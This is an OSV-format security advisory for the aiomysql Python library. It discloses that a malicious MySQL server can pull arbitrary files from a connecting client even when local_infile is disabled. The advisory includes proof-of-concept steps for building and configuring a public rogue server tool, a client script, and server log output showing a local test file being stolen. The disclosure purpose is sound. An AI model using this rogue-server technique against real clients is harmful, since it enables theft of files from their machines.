{"id":"PYSEC-2026-1110","summary":"aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server","details":"### Summary\nThe client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.\n\n### Details\nIt is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.\n\n### PoC\nFirst, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server\n\n1. Create a file to be stolen by the rogue server: `echo \"gotcha\" \u003e /tmp/my_secret_file.txt`\n2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server`\n3. Build the server: `make rogue_mysql_server`\n4. Generate a sample config: `rogue_mysql_server -generate`\n5. In `config.yaml` change `file_list` to `[\"/tmp/my_secret_file.txt\"]`\n6. Run the server: `./rogue_mysql_server -config config.yaml`\n\nNext, the vulnerability can be seen in action with the following script, which can be run in a second terminal:\n```python3\nimport asyncio\n\nimport aiomysql\n\n\nloop = asyncio.get_event_loop()\n\n\nasync def test_example():\n    conn = await aiomysql.connect(\n        host=\"127.0.0.1\",\n        port=3306,\n        user=\"root\",\n        password=\"\",\n        db=\"mysql\",\n        loop=loop,\n        local_infile=0, # note that we explicitly forbid local_infile\n    )\n\n    cursor = await conn.cursor()\n    await cursor.execute(\"SELECT 1\")\n    print(cursor.description)\n    r = await cursor.fetchall()\n    print(r)\n    await cursor.close()\n    conn.close()\n\n\nloop.run_until_complete(test_example())\n```\n\nThe rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory\n```\nlevel=info msg=\"Client from addr [xxx], ID [1] try to query [select 1]\"\nlevel=info msg=\"Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]\"\nlevel=info msg=\"Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]\"\nlevel=info msg=\"Client leaved, Addr [xxx], ID [1]\"\n```\n\n### Impact\nThis vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.\n\n### Fix suggestion\nCan be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267","aliases":["CVE-2025-62611","GHSA-r397-ff8c-wv2g"],"modified":"2026-07-07T17:46:14.117262975Z","published":"2026-07-07T16:03:08.023970Z","references":[{"type":"WEB","url":"https://github.com/aio-libs/aiomysql/security/advisories/GHSA-r397-ff8c-wv2g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62611"},{"type":"WEB","url":"https://github.com/aio-libs/aiomysql/pull/1044"},{"type":"WEB","url":"https://github.com/aio-libs/aiomysql/commit/32c4520dae3711367ded74a4726dcb8bb8919538"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiomysql"},{"type":"PACKAGE","url":"https://pypi.org/project/aiomysql"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r397-ff8c-wv2g"}],"affected":[{"package":{"name":"aiomysql","ecosystem":"PyPI","purl":"pkg:pypi/aiomysql"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.0"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","0.1.0","0.1.0rc1","0.1.0rc2","0.1.1","0.2.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/aiomysql/PYSEC-2026-1110.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}